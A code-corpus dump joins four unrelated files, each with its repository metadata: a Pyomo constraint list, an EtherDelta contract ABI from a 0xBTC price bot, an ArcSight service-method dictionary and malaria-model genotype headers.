m.c2520 = Constraint(expr= - 0.5*m.x1648 + m.x1858 <= 0)
m.c2521 = Constraint(expr= - 0.5*m.x1649 + m.x1859 <= 0)
m.c2522 = Constraint(expr= - 0.5*m.x1650 + m.x1860 <= 0)
m.c2523 = Constraint(expr= - 0.5*m.x1651 + m.x1861 <= 0)
m.c2524 = Constraint(expr= m.x361 - 0.5*m.x1592 <= 0)
m.c2525 = Constraint(expr= m.x362 - 0.5*m.x1593 <= 0)
m.c2526 = Constraint(expr= m.x363 - 0.5*m.x1594 <= 0)
m.c2527 = Constraint(expr= m.x364 - 0.5*m.x1595 <= 0)
m.c2528 = Constraint(expr= m.x365 - 0.5*m.x1596 <= 0)
m.c2529 = Constraint(expr= m.x366 - 0.5*m.x1597 <= 0)
m.c2530 = Constraint(expr= m.x367 - 0.5*m.x1598 <= 0)
m.c2531 = Constraint(expr= m.x368 - 0.5*m.x1599 <= 0)
m.c2532 = Constraint(expr= m.x369 - 0.5*m.x1600 <= 0)
m.c2533 = Constraint(expr= m.x370 - 0.5*m.x1601 <= 0)
m.c2534 = Constraint(expr= m.x371 - 0.5*m.x1602 <= 0)
m.c2535 = Constraint(expr= m.x372 - 0.5*m.x1603 <= 0)
m.c2536 = Constraint(expr= m.x373 - 0.5*m.x1604 <= 0)
m.c2537 = Constraint(expr= m.x374 - 0.5*m.x1605 <= 0)
m.c2538 = Constraint(expr= m.x375 - 0.5*m.x1606 <= 0)
m.c2539 = Constraint(expr= m.x376 - 0.5*m.x1607 <= 0)
m.c2540 = Constraint(expr= m.x377 - 0.5*m.x1608 <= 0)
m.c2541 = Constraint(expr= m.x378 - 0.5*m.x1609 <= 0)
m.c2542 = Constraint(expr= m.x379 - 0.5*m.x1610 <= 0)
m.c2543 = Constraint(expr= m.x380 - 0.5*m.x1611 <= 0)
m.c2544 = Constraint(expr= m.x381 - 0.5*m.x1612 <= 0)
m.c2545 = Constraint(expr= m.x382 - 0.5*m.x1613 <= 0)
m.c2546 = Constraint(expr= m.x383 - 0.5*m.x1614 <= 0)
m.c2547 = Constraint(expr= m.x384 - 0.5*m.x1615 <= 0)
m.c2548 = Constraint(expr= m.x385 - 0.5*m.x1616 <= 0)
m.c2549 = Constraint(expr= m.x386 - 0.5*m.x1617 <= 0)
m.c2550 = Constraint(expr= m.x387 - 0.5*m.x1618 <= 0)
m.c2551 = Constraint(expr= m.x388 - 0.5*m.x1619 <= 0)
m.c2552 = Constraint(expr= m.x389 - 0.5*m.x1620 <= 0)
m.c2553 = Constraint(expr= m.x390 - 0.5*m.x1621 <= 0)
m.c2554 = Constraint(expr= m.x391 - 0.5*m.x1622 <= 0)
m.c2555 = Constraint(expr= m.x392 - 0.5*m.x1623 <= 0)
m.c2556 = Constraint(expr= m.x393 - 0.5*m.x1624 <= 0)
m.c2557 = Constraint(expr= m.x394 - 0.5*m.x1625 <= 0)
m.c2558 = Constraint(expr= m.x395 - 0.5*m.x1626 <= 0)
m.c2559 = Constraint(expr= m.x396 - 0.5*m.x1627 <= 0)
m.c2560 = Constraint(expr= m.x397 - 0.5*m.x1628 <= 0)
m.c2561 = Constraint(expr= m.x398 - 0.5*m.x1629 <= 0)
m.c2562 = Constraint(expr= m.x399 - 0.5*m.x1630 <= 0)
m.c2563 = Constraint(expr= m.x400 - 0.5*m.x1631 <= 0)
m.c2564 = Constraint(expr= m.x401 - 0.5*m.x1632 <= 0)
m.c2565 = Constraint(expr= m.x402 - 0.5*m.x1633 <= 0)
m.c2566 = Constraint(expr= m.x403 - 0.5*m.x1634 <= 0)
m.c2567 = Constraint(expr= m.x404 - 0.5*m.x1635 <= 0)
m.c2568 = Constraint(expr= m.x405 - 0.5*m.x1636 <= 0)
m.c2569 = Constraint(expr= m.x406 - 0.5*m.x1637 <= 0)
m.c2570 = Constraint(expr= m.x407 - 0.5*m.x1638 <= 0)
m.c2571 = Constraint(expr= m.x408 - 0.5*m.x1639 <= 0)
m.c2572 = Constraint(expr= m.x409 - 0.5*m.x1640 <= 0)
m.c2573 = Constraint(expr= m.x410 - 0.5*m.x1641 <= 0)
m.c2574 = Constraint(expr= m.x411 - 0.5*m.x1642 <= 0)
m.c2575 = Constraint(expr= m.x412 - 0.5*m.x1643 <= 0)
m.c2576 = Constraint(expr= m.x413 - 0.5*m.x1644 <= 0)
m.c2577 = Constraint(expr= m.x414 - 0.5*m.x1645 <= 0)
m.c2578 = Constraint(expr= m.x415 - 0.5*m.x1646 <= 0)
m.c2579 = Constraint(expr= m.x416 - 0.5*m.x1647 <= 0)
m.c2580 = Constraint(expr= m.x417 - 0.5*m.x1648 <= 0)
m.c2581 = Constraint(expr= m.x418 - 0.5*m.x1649 <= 0)
m.c2582 = Constraint(expr= m.x419 - 0.5*m.x1650 <= 0)
m.c2583 = Constraint(expr= m.x420 - 0.5*m.x1651 <= 0)
| 74.490404
| 120
| 0.592023
| 142,996
| 989,754
| 4.097716
| 0.034966
| 0.033177
| 0.184314
| 0.19353
| 0.915682
| 0.899691
| 0.89967
| 0.866872
| 0.866872
| 0.664825
| 0
| 0.529086
| 0.226542
| 989,754
| 13,286
| 121
| 74.496011
| 0.236337
| 0.00063
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| 0.341228
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| false
| 0
| 0.000094
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| 1
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|
0
| 10
|
fa4cd90d43f7e52881c95a3cafd7040909f24ca6
| 7,784
|
py
|
Python
|
exchanges/etherdelta_v2_abi.py
|
0x1d00ffff/0xbtc-discord-price-bot
|
afa33821bb77b63fa528a784b5ef9b913eaac115
|
[
"MIT"
] | 10
|
2018-05-01T14:54:55.000Z
|
2022-01-24T09:37:31.000Z
|
exchanges/etherdelta_v2_abi.py
|
0x1d00ffff/0xbtc-discord-price-bot
|
afa33821bb77b63fa528a784b5ef9b913eaac115
|
[
"MIT"
] | 1
|
2019-04-10T16:44:52.000Z
|
2019-04-10T16:44:52.000Z
|
exchanges/etherdelta_v2_abi.py
|
0x1d00ffff/0xbtc-discord-price-bot
|
afa33821bb77b63fa528a784b5ef9b913eaac115
|
[
"MIT"
] | 16
|
2018-06-06T21:44:18.000Z
|
2021-09-22T09:35:59.000Z
|
exchange_abi = '[{"constant":false,"inputs":[{"name":"tokenGet","type":"address"},{"name":"amountGet","type":"uint256"},{"name":"tokenGive","type":"address"},{"name":"amountGive","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"user","type":"address"},{"name":"v","type":"uint8"},{"name":"r","type":"bytes32"},{"name":"s","type":"bytes32"},{"name":"amount","type":"uint256"}],"name":"trade","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"tokenGet","type":"address"},{"name":"amountGet","type":"uint256"},{"name":"tokenGive","type":"address"},{"name":"amountGive","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"}],"name":"order","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"bytes32"}],"name":"orderFills","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"tokenGet","type":"address"},{"name":"amountGet","type":"uint256"},{"name":"tokenGive","type":"address"},{"name":"amountGive","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"v","type":"uint8"},{"name":"r","type":"bytes32"},{"name":"s","type":"bytes32"}],"name":"cancelOrder","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"token","type":"address"},{"name":"amount","type":"uint256"}],"name":"depositToken","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"tokenGet","type":"address"},{"name":"amountGet","type":"uint256"},{"name":"tokenGive","type":"address"},{"name":"amountGive","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"user","type":"address"},{"name":"v","type":"uint8"},{"name":"r","type":"bytes32"},{"name":"s","type":"bytes32"}],"name":"amountFilled","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"tokens","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"feeMake_","type":"uint256"}],"name":"changeFeeMake","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"feeMake","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"feeRebate_","type":"uint256"}],"name":"changeFeeRebate","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"feeAccount","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"tokenGet","type":"address"},{"name":"amountGet","type":"uint256"},{"name":"tokenGive","type":"address"},{"name":"amountGive","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"user","type":"address"},{"name":"v","type":"uint8"},{"name":"r","type":"bytes32"},{"name":"s","type":"bytes32"},{"name":"amount","type":"uint256"},{"name":"sender","type":"address"}],"name":"testTrade","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"feeAccount_","type":"address"}],"name":"changeFeeAccount","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"feeRebate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"feeTake_","type":"uint256"}],"name":"changeFeeTake","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"admin_","type":"address"}],"name":"changeAdmin","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"token","type":"address"},{"name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"bytes32"}],"name":"orders","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"feeTake","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"type":"function"},{"constant":false,"inputs":[{"name":"accountLevelsAddr_","type":"address"}],"name":"changeAccountLevelsAddr","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"accountLevelsAddr","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"token","type":"address"},{"name":"user","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"tokenGet","type":"address"},{"name":"amountGet","type":"uint256"},{"name":"tokenGive","type":"address"},{"name":"amountGive","type":"uint256"},{"name":"expires","type":"uint256"},{"name":"nonce","type":"uint256"},{"name":"user","type":"address"},{"name":"v","type":"uint8"},{"name":"r","type":"bytes32"},{"name":"s","type":"bytes32"}],"name":"availableVolume","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"inputs":[{"name":"admin_","type":"address"},{"name":"feeAccount_","type":"address"},{"name":"accountLevelsAddr_","type":"address"},{"name":"feeMake_","type":"uint256"},{"name":"feeTake_","type":"uint256"},{"name":"feeRebate_","type":"uint256"}],"payable":false,"type":"constructor"},{"payable":false,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"tokenGet","type":"address"},{"indexed":false,"name":"amountGet","type":"uint256"},{"indexed":false,"name":"tokenGive","type":"address"},{"indexed":false,"name":"amountGive","type":"uint256"},{"indexed":false,"name":"expires","type":"uint256"},{"indexed":false,"name":"nonce","type":"uint256"},{"indexed":false,"name":"user","type":"address"}],"name":"Order","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"tokenGet","type":"address"},{"indexed":false,"name":"amountGet","type":"uint256"},{"indexed":false,"name":"tokenGive","type":"address"},{"indexed":false,"name":"amountGive","type":"uint256"},{"indexed":false,"name":"expires","type":"uint256"},{"indexed":false,"name":"nonce","type":"uint256"},{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"v","type":"uint8"},{"indexed":false,"name":"r","type":"bytes32"},{"indexed":false,"name":"s","type":"bytes32"}],"name":"Cancel","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"tokenGet","type":"address"},{"indexed":false,"name":"amountGet","type":"uint256"},{"indexed":false,"name":"tokenGive","type":"address"},{"indexed":false,"name":"amountGive","type":"uint256"},{"indexed":false,"name":"get","type":"address"},{"indexed":false,"name":"give","type":"address"}],"name":"Trade","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"token","type":"address"},{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"token","type":"address"},{"indexed":false,"name":"user","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"Withdraw","type":"event"}]'
| 2,594.666667
| 7,782
| 0.62667
| 857
| 7,784
| 5.676779
| 0.074679
| 0.12888
| 0.110997
| 0.12333
| 0.894142
| 0.828366
| 0.806783
| 0.806783
| 0.791367
| 0.698458
| 0
| 0.02635
| 0.000514
| 7,784
| 2
| 7,783
| 3,892
| 0.598972
| 0
| 0
| 0
| 0
| 1
| 0.997687
| 0.997687
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
fa699ace0280f273f4b9488dfb331398313d0366
| 68,129
|
py
|
Python
|
Dicts.py
|
SIEM-Tools/ArcSight
|
c0ab720f369efcb0f55ea5a63d162b894af013fb
|
[
"MIT"
] | 4
|
2016-05-31T14:42:31.000Z
|
2020-04-14T23:44:34.000Z
|
Dicts.py
|
SIEM-Tools/ArcSight
|
c0ab720f369efcb0f55ea5a63d162b894af013fb
|
[
"MIT"
] | null | null | null |
Dicts.py
|
SIEM-Tools/ArcSight
|
c0ab720f369efcb0f55ea5a63d162b894af013fb
|
[
"MIT"
] | 7
|
2017-09-09T07:33:05.000Z
|
2021-07-01T19:10:13.000Z
|
service_dict = {
'NetworkService':{
'getTargetsWithRelationshipTypeForResourceById':{},
'getTargetsByRelationshipForSourceId':{},
'getSourcesWithThisTargetByRelationshipCount':{},
'deleteResource':{},
'getSourceURIWithThisTargetByRelatiobnshipForResourceId':{},
'getAllAttachmentOnlyResourceIDs':{},
'getNamesAndAliases':{},
'containsDirectMemberByNameOrAlias':{},
'getTargetsWithRelationshipTypeForResource':{},
'getReverseRelationshipsOfThisAndParents':{},
'getPersonalResourceRoots':{},
'getESMVersion':{},
'getResourceByName':{},
'hasXPermission':{},
'findAllIds':{},
'addRelationship':{},
'getReverseRelationshipsOfParents':{},
'getResourcesReferencePages':{},
'containsDirectMemberByName':{},
'getTargetsAsURIByRelationshipForSourceId':{},
'hasWritePermission':{},
'deleteResources':{},
'resolveRelationship':{},
'getAllPathsToRoot':{},
'getResourcesWithVisibilityToUsers':{},
'getReferencePages':{},
'findAll':{},
'getExclusivelyDependentResources':{},
'getAllowedUserTypes':{},
'getResourcesByNameSafely':{},
'getResourcesByNames':{},
'getSourceURIWithThisTargetByRelatiobnship':{},
'getRelationshipsOfParents':{},
'getMetaGroupID':{},
'isValidResourceID':{},
'getServiceMajorVersion':{},
'hasReverseRelationship':{},
'containsDirectMemberByName1':{},
'getChildNamesAndAliases':{},
'getResourcesByIds':{},
'getResourceTypesVisibleToUsers':{},
'update':{},
'getRelationshipsOfThisAndParents':{},
'getPersonalAndSharedResourceRoots':{},
'getSourcesWithThisTargetByRelationship':{},
'containsDirectMemberByNameOrAlias1':{},
'hasReadPermission':{},
'copyResourceIntoGroup':{},
'deleteByLocalId':{},
'getDependentResourceIDsForResourceId':{},
'getResourceIfModified':{},
'findById':{},
'getSourcesWithThisTargetByRelationshipForResourceId':{},
'getSourcesWithThisTargetByACLRelationship':{},
'delete':{},
'getAllPathsToRootAsStrings':{},
'loadAdditional':{},
'insertResource':{},
'insertResources':{},
'getAllUnassignedResourceIDs':{},
'getEnabledResourceIDs':{},
'getSourceURIWithThisTargetByRelationship':{},
'getResourceById':{},
'updateACLForResourceById':{},
'getCorruptedResources':{},
'unloadAdditional':{},
'isDisabled':{},
'getTargetsAsURIByRelationship':{},
'updateResources':{},
'deleteByUUID':{},
'getTargetsByRelationship':{},
'getSourceURIWithThisTargetByRelationshipForResourceId':{},
'getTargetsByRelationshipCount':{},
'getPersonalGroup':{},
'findByUUID':{},
'resetState':{},
'insert':{},
'getServiceMinorVersion':{},
},
'ViewerConfigurationService':{
'getTargetsWithRelationshipTypeForResourceById':{},
'getTargetsByRelationshipForSourceId':{},
'getSourcesWithThisTargetByRelationshipCount':{},
'deleteResource':{},
'getSourceURIWithThisTargetByRelatiobnshipForResourceId':{},
'getAllAttachmentOnlyResourceIDs':{},
'getNamesAndAliases':{},
'containsDirectMemberByNameOrAlias':{},
'getTargetsWithRelationshipTypeForResource':{},
'getReverseRelationshipsOfThisAndParents':{},
'getPersonalResourceRoots':{},
'getESMVersion':{},
'getResourceByName':{},
'hasXPermission':{},
'findAllIds':{},
'addRelationship':{},
'getReverseRelationshipsOfParents':{},
'getResourcesReferencePages':{},
'containsDirectMemberByName':{},
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'getSourcesWithThisTargetByRelationshipForResourceId':{},
'getSourcesWithThisTargetByACLRelationship':{},
'delete':{},
'getAllPathsToRootAsStrings':{},
'loadAdditional':{},
'insertResource':{},
'insertResources':{},
'getEnabledResourceIDs':{},
'getAllUnassignedResourceIDs':{},
'getSourceURIWithThisTargetByRelationship':{},
'getResourceById':{},
'updateACLForResourceById':{},
'getCorruptedResources':{},
'unloadAdditional':{},
'isDisabled':{},
'getTargetsAsURIByRelationship':{},
'updateResources':{},
'deleteByUUID':{},
'getTargetsByRelationship':{},
'getSourceURIWithThisTargetByRelationshipForResourceId':{},
'getTargetsByRelationshipCount':{},
'getPersonalGroup':{},
'findByUUID':{},
'resetState':{},
'insert':{},
'getServiceMinorVersion':{},
},
'ServerConfigurationService':{
'getTargetsWithRelationshipTypeForResourceById':{},
'getTargetsByRelationshipForSourceId':{},
'getSourcesWithThisTargetByRelationshipCount':{},
'deleteResource':{},
'getSourceURIWithThisTargetByRelatiobnshipForResourceId':{},
'getAllAttachmentOnlyResourceIDs':{},
'getNamesAndAliases':{},
'containsDirectMemberByNameOrAlias':{},
'getTargetsWithRelationshipTypeForResource':{},
'getReverseRelationshipsOfThisAndParents':{},
'getPersonalResourceRoots':{},
'getESMVersion':{},
'getResourceByName':{},
'hasXPermission':{},
'findAllIds':{},
'addRelationship':{},
'getReverseRelationshipsOfParents':{},
'getResourcesReferencePages':{},
'containsDirectMemberByName':{},
'getTargetsAsURIByRelationshipForSourceId':{},
'hasWritePermission':{},
'deleteResources':{},
'resolveRelationship':{},
'getAllPathsToRoot':{},
'getResourcesWithVisibilityToUsers':{},
'getReferencePages':{},
'findAll':{},
'getExclusivelyDependentResources':{},
'getAllowedUserTypes':{},
'getResourcesByNameSafely':{},
'getResourcesByNames':{},
'getSourceURIWithThisTargetByRelatiobnship':{},
'getRelationshipsOfParents':{},
'getMetaGroupID':{},
'isValidResourceID':{},
'getServiceMajorVersion':{},
'hasReverseRelationship':{},
'containsDirectMemberByName1':{},
'getChildNamesAndAliases':{},
'getResourcesByIds':{},
'getResourceTypesVisibleToUsers':{},
'update':{},
'getRelationshipsOfThisAndParents':{},
'getPersonalAndSharedResourceRoots':{},
'getSourcesWithThisTargetByRelationship':{},
'containsDirectMemberByNameOrAlias1':{},
'hasReadPermission':{},
'copyResourceIntoGroup':{},
'deleteByLocalId':{},
'getDependentResourceIDsForResourceId':{},
'getResourceIfModified':{},
'findById':{},
'getSourcesWithThisTargetByRelationshipForResourceId':{},
'getSourcesWithThisTargetByACLRelationship':{},
'delete':{},
'getAllPathsToRootAsStrings':{},
'loadAdditional':{},
'insertResource':{},
'insertResources':{},
'getAllUnassignedResourceIDs':{},
'getEnabledResourceIDs':{},
'getSourceURIWithThisTargetByRelationship':{},
'getResourceById':{},
'updateACLForResourceById':{},
'getCorruptedResources':{},
'unloadAdditional':{},
'isDisabled':{},
'getTargetsAsURIByRelationship':{},
'updateResources':{},
'deleteByUUID':{},
'getTargetsByRelationship':{},
'getSourceURIWithThisTargetByRelationshipForResourceId':{},
'getTargetsByRelationshipCount':{},
'getPersonalGroup':{},
'findByUUID':{},
'resetState':{},
'insert':{},
'getServiceMinorVersion':{},
},
}
| 37.598786
| 68
| 0.607333
| 1,783
| 68,129
| 23.205833
| 0.162086
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| 0.785117
| 0.760465
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| 0.730786
| 0
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| 0.235773
| 68,129
| 1,812
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| 37.598786
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| 0.438705
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|
0
| 9
|
d74f9468503889785dc439cfccc39dd78ebba10c
| 18,192
|
py
|
Python
|
mdr_analysis/constant.py
|
bonilab/malariaibm-generation-of-MDR-mutants
|
41086cf621274dcdf8b445435cb1825424a2e722
|
[
"MIT"
] | null | null | null |
mdr_analysis/constant.py
|
bonilab/malariaibm-generation-of-MDR-mutants
|
41086cf621274dcdf8b445435cb1825424a2e722
|
[
"MIT"
] | null | null | null |
mdr_analysis/constant.py
|
bonilab/malariaibm-generation-of-MDR-mutants
|
41086cf621274dcdf8b445435cb1825424a2e722
|
[
"MIT"
] | null | null | null |
HEADLINE = "time_elapsed\tsystem_time\tyear\tmonth\tday\tseasonal_factor\ttreatment_coverage_0_1\ttreatment_coverage_0_10\tpopulation\tsep\teir\tsep\tbsp_2_10\tbsp_0_5\tblood_slide_prevalence\tsep\tmonthly_new_infection\tsep\tmonthly_new_treatment\tsep\tmonthly_clinical_episode\tsep\tmonthly_ntf_raw\tsep\tKNY--C1x\tKNY--C1X\tKNY--C2x\tKNY--C2X\tKNY--Y1x\tKNY--Y1X\tKNY--Y2x\tKNY--Y2X\tKYY--C1x\tKYY--C1X\tKYY--C2x\tKYY--C2X\tKYY--Y1x\tKYY--Y1X\tKYY--Y2x\tKYY--Y2X\tKNF--C1x\tKNF--C1X\tKNF--C2x\tKNF--C2X\tKNF--Y1x\tKNF--Y1X\tKNF--Y2x\tKNF--Y2X\tKYF--C1x\tKYF--C1X\tKYF--C2x\tKYF--C2X\tKYF--Y1x\tKYF--Y1X\tKYF--Y2x\tKYF--Y2X\tKNYNYC1x\tKNYNYC1X\tKNYNYC2x\tKNYNYC2X\tKNYNYY1x\tKNYNYY1X\tKNYNYY2x\tKNYNYY2X\tKYYYYC1x\tKYYYYC1X\tKYYYYC2x\tKYYYYC2X\tKYYYYY1x\tKYYYYY1X\tKYYYYY2x\tKYYYYY2X\tKNFNFC1x\tKNFNFC1X\tKNFNFC2x\tKNFNFC2X\tKNFNFY1x\tKNFNFY1X\tKNFNFY2x\tKNFNFY2X\tKYFYFC1x\tKYFYFC1X\tKYFYFC2x\tKYFYFC2X\tKYFYFY1x\tKYFYFY1X\tKYFYFY2x\tKYFYFY2X\tTNY--C1x\tTNY--C1X\tTNY--C2x\tTNY--C2X\tTNY--Y1x\tTNY--Y1X\tTNY--Y2x\tTNY--Y2X\tTYY--C1x\tTYY--C1X\tTYY--C2x\tTYY--C2X\tTYY--Y1x\tTYY--Y1X\tTYY--Y2x\tTYY--Y2X\tTNF--C1x\tTNF--C1X\tTNF--C2x\tTNF--C2X\tTNF--Y1x\tTNF--Y1X\tTNF--Y2x\tTNF--Y2X\tTYF--C1x\tTYF--C1X\tTYF--C2x\tTYF--C2X\tTYF--Y1x\tTYF--Y1X\tTYF--Y2x\tTYF--Y2X\tTNYNYC1x\tTNYNYC1X\tTNYNYC2x\tTNYNYC2X\tTNYNYY1x\tTNYNYY1X\tTNYNYY2x\tTNYNYY2X\tTYYYYC1x\tTYYYYC1X\tTYYYYC2x\tTYYYYC2X\tTYYYYY1x\tTYYYYY1X\tTYYYYY2x\tTYYYYY2X\tTNFNFC1x\tTNFNFC1X\tTNFNFC2x\tTNFNFC2X\tTNFNFY1x\tTNFNFY1X\tTNFNFY2x\tTNFNFY2X\tTYFYFC1x\tTYFYFC1X\tTYFYFC2x\tTYFYFC2X\tTYFYFY1x\tTYFYFY1X\tTYFYFY2x\tTYFYFY2X\tsep\tKNY--C1x\tKNY--C1X\tKNY--C2x\tKNY--C2X\tKNY--Y1x\tKNY--Y1X\tKNY--Y2x\tKNY--Y2X\tKYY--C1x\tKYY--C1X\tKYY--C2x\tKYY--C2X\tKYY--Y1x\tKYY--Y1X\tKYY--Y2x\tKYY--Y2X\tKNF--C1x\tKNF--C1X\tKNF--C2x\tKNF--C2X\tKNF--Y1x\tKNF--Y1X\tKNF--Y2x\tKNF--Y2X\tKYF--C1x\tKYF--C1X\tKYF--C2x\tKYF--C2X\tKYF--Y1x\tKYF--Y1X\tKYF--Y2x\tKYF--Y2X\tKNYNYC1x\tKNYNYC1X\tKNYNYC2x\tKNYNYC2X\tKNYNYY1x\tKNYNYY1X\tKNYNYY2x\tKNYNYY2X\tKYYYYC1x\tKYYYYC1X\tKYYYYC2x\tKYYYYC2X\tKYYYYY1x\tKYYYYY1X\tKYYYYY2x\tKYYYYY2X\tKNFNFC1x\tKNFNFC1X\tKNFNFC2x\tKNFNFC2X\tKNFNFY1x\tKNFNFY1X\tKNFNFY2x\tKNFNFY2X\tKYFYFC1x\tKYFYFC1X\tKYFYFC2x\tKYFYFC2X\tKYFYFY1x\tKYFYFY1X\tKYFYFY2x\tKYFYFY2X\tTNY--C1x\tTNY--C1X\tTNY--C2x\tTNY--C2X\tTNY--Y1x\tTNY--Y1X\tTNY--Y2x\tTNY--Y2X\tTYY--C1x\tTYY--C1X\tTYY--C2x\tTYY--C2X\tTYY--Y1x\tTYY--Y1X\tTYY--Y2x\tTYY--Y2X\tTNF--C1x\tTNF--C1X\tTNF--C2x\tTNF--C2X\tTNF--Y1x\tTNF--Y1X\tTNF--Y2x\tTNF--Y2X\tTYF--C1x\tTYF--C1X\tTYF--C2x\tTYF--C2X\tTYF--Y1x\tTYF--Y1X\tTYF--Y2x\tTYF--Y2X\tTNYNYC1x\tTNYNYC1X\tTNYNYC2x\tTNYNYC2X\tTNYNYY1x\tTNYNYY1X\tTNYNYY2x\tTNYNYY2X\tTYYYYC1x\tTYYYYC1X\tTYYYYC2x\tTYYYYC2X\tTYYYYY1x\tTYYYYY1X\tTYYYYY2x\tTYYYYY2X\tTNFNFC1x\tTNFNFC1X\tTNFNFC2x\tTNFNFC2X\tTNFNFY1x\tTNFNFY1X\tTNFNFY2x\tTNFNFY2X\tTYFYFC1x\tTYFYFC1X\tTYFYFC2x\tTYFYFC2X\tTYFYFY1x\tTYFYFY1X\tTYFYFY2x\tTYFYFY2X\tsep\ttotal_count"
HEADER_NAME = [
'time_elapsed', 'system_time', 'year', 'month', 'day', 'seasonal_factor',
'treatment_coverage_0_1', 'treatment_coverage_0_10', 'population', 'sep1',
'eir', 'sep2', 'bsp_2_10', 'bsp_0_5', 'blood_slide_prevalence', 'sep3',
'monthly_new_infection', 'sep4', 'monthly_new_treatment', 'sep5',
'monthly_clinical_episode', 'sep6', 'monthly_ntf_raw', 'sep7',
'KNY--C1x', 'KNY--C1X', 'KNY--C2x', 'KNY--C2X', 'KNY--Y1x', 'KNY--Y1X',
'KNY--Y2x', 'KNY--Y2X', 'KYY--C1x', 'KYY--C1X', 'KYY--C2x', 'KYY--C2X',
'KYY--Y1x', 'KYY--Y1X', 'KYY--Y2x', 'KYY--Y2X', 'KNF--C1x', 'KNF--C1X',
'KNF--C2x', 'KNF--C2X', 'KNF--Y1x', 'KNF--Y1X', 'KNF--Y2x', 'KNF--Y2X',
'KYF--C1x', 'KYF--C1X', 'KYF--C2x', 'KYF--C2X', 'KYF--Y1x', 'KYF--Y1X',
'KYF--Y2x', 'KYF--Y2X', 'KNYNYC1x', 'KNYNYC1X', 'KNYNYC2x', 'KNYNYC2X',
'KNYNYY1x', 'KNYNYY1X', 'KNYNYY2x', 'KNYNYY2X', 'KYYYYC1x', 'KYYYYC1X',
'KYYYYC2x', 'KYYYYC2X', 'KYYYYY1x', 'KYYYYY1X', 'KYYYYY2x', 'KYYYYY2X',
'KNFNFC1x', 'KNFNFC1X', 'KNFNFC2x', 'KNFNFC2X', 'KNFNFY1x', 'KNFNFY1X',
'KNFNFY2x', 'KNFNFY2X', 'KYFYFC1x', 'KYFYFC1X', 'KYFYFC2x', 'KYFYFC2X',
'KYFYFY1x', 'KYFYFY1X', 'KYFYFY2x', 'KYFYFY2X', 'TNY--C1x', 'TNY--C1X',
'TNY--C2x', 'TNY--C2X', 'TNY--Y1x', 'TNY--Y1X', 'TNY--Y2x', 'TNY--Y2X',
'TYY--C1x', 'TYY--C1X', 'TYY--C2x', 'TYY--C2X', 'TYY--Y1x', 'TYY--Y1X',
'TYY--Y2x', 'TYY--Y2X', 'TNF--C1x', 'TNF--C1X', 'TNF--C2x', 'TNF--C2X',
'TNF--Y1x', 'TNF--Y1X', 'TNF--Y2x', 'TNF--Y2X', 'TYF--C1x', 'TYF--C1X',
'TYF--C2x', 'TYF--C2X', 'TYF--Y1x', 'TYF--Y1X', 'TYF--Y2x', 'TYF--Y2X',
